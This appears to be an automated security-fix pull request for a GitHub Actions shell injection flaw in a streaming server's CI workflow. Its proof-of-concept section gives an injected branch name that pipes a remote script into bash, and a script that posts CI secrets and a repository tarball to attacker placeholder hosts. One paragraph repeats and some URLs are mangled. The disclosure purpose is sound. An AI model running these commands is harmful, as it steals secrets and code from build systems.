Context and Purpose:

This PR automatically remediates a security vulnerability:

• Description: Using variable interpolation ${{...}} with github context data in a run: step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. github context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with env: to store the data and use the environment variable in the run: script. Be sure to use double-quotes the environment variable, like this: "$ENVVAR".
• Rule ID: yaml.github-actions.security.run-shell-injection.run-shell-injection
• Severity: HIGH
• File: .github/workflows/ci-flatpak.yml
• Lines Affected: 103 - 132

This change is necessary to protect the application from potential security risks associated with this vulnerability.

Security Impact Assessment:

Evidence: Proof-of-Concept Exploitation Demo:

⚠️ For Educational/Security Awareness Only

This demonstration shows how the vulnerability could be exploited to help you understand its severity and prioritize remediation.

How This Vulnerability Can Be Exploited:

The vulnerability in .github/workflows/ci-flatpak.yml allows shell injection through the use of GitHub context variables (e.g., ${{ github.event.pull_request.head.ref }}) directly in run: steps, enabling an attacker to execute arbitrary commands on the CI runner. In this specific repository, which builds and tests the Sunshine game streaming server, an attacker could exploit this by submitting a pull request with a malicious branch name that injects shell commands, potentially stealing repository secrets, source code, or build artifacts. This is particularly concerning for a project handling user authentication and media streaming data, as it could lead to unauthorized access or data exfiltration during automated builds.

The vulnerability in .github/workflows/ci-flatpak.yml allows shell injection through the use of GitHub context variables (e.g., ${{ github.event.pull_request.head.ref }}) directly in run: steps, enabling an attacker to execute arbitrary commands on the CI runner. In this specific repository, which builds and tests the Sunshine game streaming server, an attacker could exploit this by submitting a pull request with a malicious branch name that injects shell commands, potentially stealing repository secrets, source code, or build artifacts. This is particularly concerning for a project handling user authentication and media streaming data, as it could lead to unauthorized access or data exfiltration during automated builds.

# Step 1: Attacker forks the repository (https://github.com/LizardByte/Sunshine)
# This is a prerequisite to create a pull request with controlled input.

# Step 2: Create a malicious branch name designed to inject shell commands
# Assuming the workflow uses something like ${{ github.event.pull_request.head.ref }} in a run step (e.g., to log or process the branch name),
# an attacker names the branch to break out of the command and execute arbitrary code.
# Example branch name: '; curl http://attacker-controlled-server.com/malicious.sh | bash; echo '

# Step 3: Submit a pull request from the forked repo to the main repository
# The PR triggers the CI workflow in ci-flatpak.yml, which runs on GitHub's infrastructure.
# If the workflow has a step like:
# run: echo "Building from branch ${{ github.event.pull_request.head.ref }}"
# This would execute: echo "Building from branch '; curl http://attacker-controlled-server.com/malicious.sh | bash; echo '"
# Leading to command injection.

# Step 4: The malicious.sh script could exfiltrate data, e.g.:
# On the attacker's server (malicious.sh):
#!/bin/bash
# Exfiltrate secrets and code
curl -d "$(env | grep -E '(GITHUB_TOKEN|AWS_|SECRET)' | base64)" http://attacker-server.com/exfil
# Clone and exfiltrate source code
git clone https://github.com/LizardByte/Sunshine.git /tmp/repo && tar czf /tmp/repo.tar.gz /tmp/repo && curl -F "file=@/tmp/repo.tar.gz" http://attacker-server.com/upload
# Install persistence or further compromise
# (e.g., add SSH key, install backdoor)

# Step 5: The injected commands run with the privileges of the CI runner (typically a GitHub-hosted Ubuntu container),
# allowing access to environment variables, temporary files, and potentially cached dependencies.

Exploitation Impact Assessment:

Solution Implemented:

The automated remediation process has applied the necessary changes to the affected code in .github/workflows/ci-flatpak.yml to resolve the identified issue.

Please review the changes to ensure they are correct and integrate as expected.